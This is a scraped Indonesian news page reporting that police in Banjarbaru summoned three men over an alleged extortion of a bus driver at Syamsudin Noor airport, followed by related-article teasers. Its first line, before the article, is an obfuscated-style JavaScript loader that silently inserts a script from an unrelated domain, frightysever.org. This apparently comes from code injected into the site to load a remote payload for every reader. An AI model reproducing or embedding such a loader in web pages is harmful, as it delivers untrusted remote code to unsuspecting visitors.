(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Berawal dari sebuah video dan foto aksi dugaan pemalakan tiga orang di area Bandara Internasionl Syamsudin Noor yang direkam sopir bis, akhirnya ditangani polisi.
Bermodal laporan dan viral video dan foto, polisi langsung melakukan pemanggilan kepada tiga orang diduga pemalak di area parkir terminal Bandara Syamsuddin Noor.
Kapolsek Banjarbaru Barat AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Banjarbaru Barat Iptu Kardi Gunadi mengatakan, pihak Polsek Banjarbaru Barat melakukan pemanggilan kepada ketiga orang tersebut.
Ketiga pelaku pemalakan dipanggul melalui Unit Reskrim Polsek Banjarbaru Barat yang dipimpin AKP Slamet didampingi Panit 1 Aiptu Deden A Lesmana.
Baca juga : Belum Diresmikan, BBPJN Banjarmasin Tegaskan Tak Beri Izin Moge Melintas di Jembatan Sei Alalak!
“Mereka beralasan karena pandemi Covid-19 yang berpengaruh terhadap penghasilan sehari-hari, sehingga terjadi kecemburuan sosial dan para pelaku khilaf telah salah mengambil langkah dengan melakukan pemalakan,” jelas Kapolsek Banjarbaru Barat.
Adapun identitas ketiga pelaku yakni S (61), AR (57) dan MFN (31). Sementara itu pihak Polsek Banjarbaru melalui Unit Reskrim Polsek Banjarbaru Barat melakukan pembinaan terhadap ketiga orang pelaku dugaan pungli dan premanisme.
Ketiganya kemudian membuat surat pernyataan di atas materai untuk tidak mengulangi perbuatannya lagi dan kemudian akan dikembalikan ke Kojatas dan Taksi Banjar.
Sebelumnya, video aksi premanisme menjadi perhatian warganet, meyusul rekaman video yang memperlihatkan aksi dugaan pungli oleh tiga orang tak dikenal di kawasan Bandara Syamsudin Noor.
Baca juga : M Pazri: Polda Harus Usut Pelanggaran Rombongan Moge di Jembatan Sei Alalak!
Dalam video itu, seorang sopir bis dipaksa berikan uang sebesar Rp 100 ribu di area parkir Terminal Bandara Syamsudin Noor pada Jumat (17/9/2021) lalu.
Ketiga orang itu memaksa sopir bis untuk mengeluarkan uang, jika tidak diberikan bis diminta menunggu penumpang di gerbang masuk Bandara. Sempat ketiga orang itu dalam rekaman merasa keberatan saat divideokan sang sopir. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.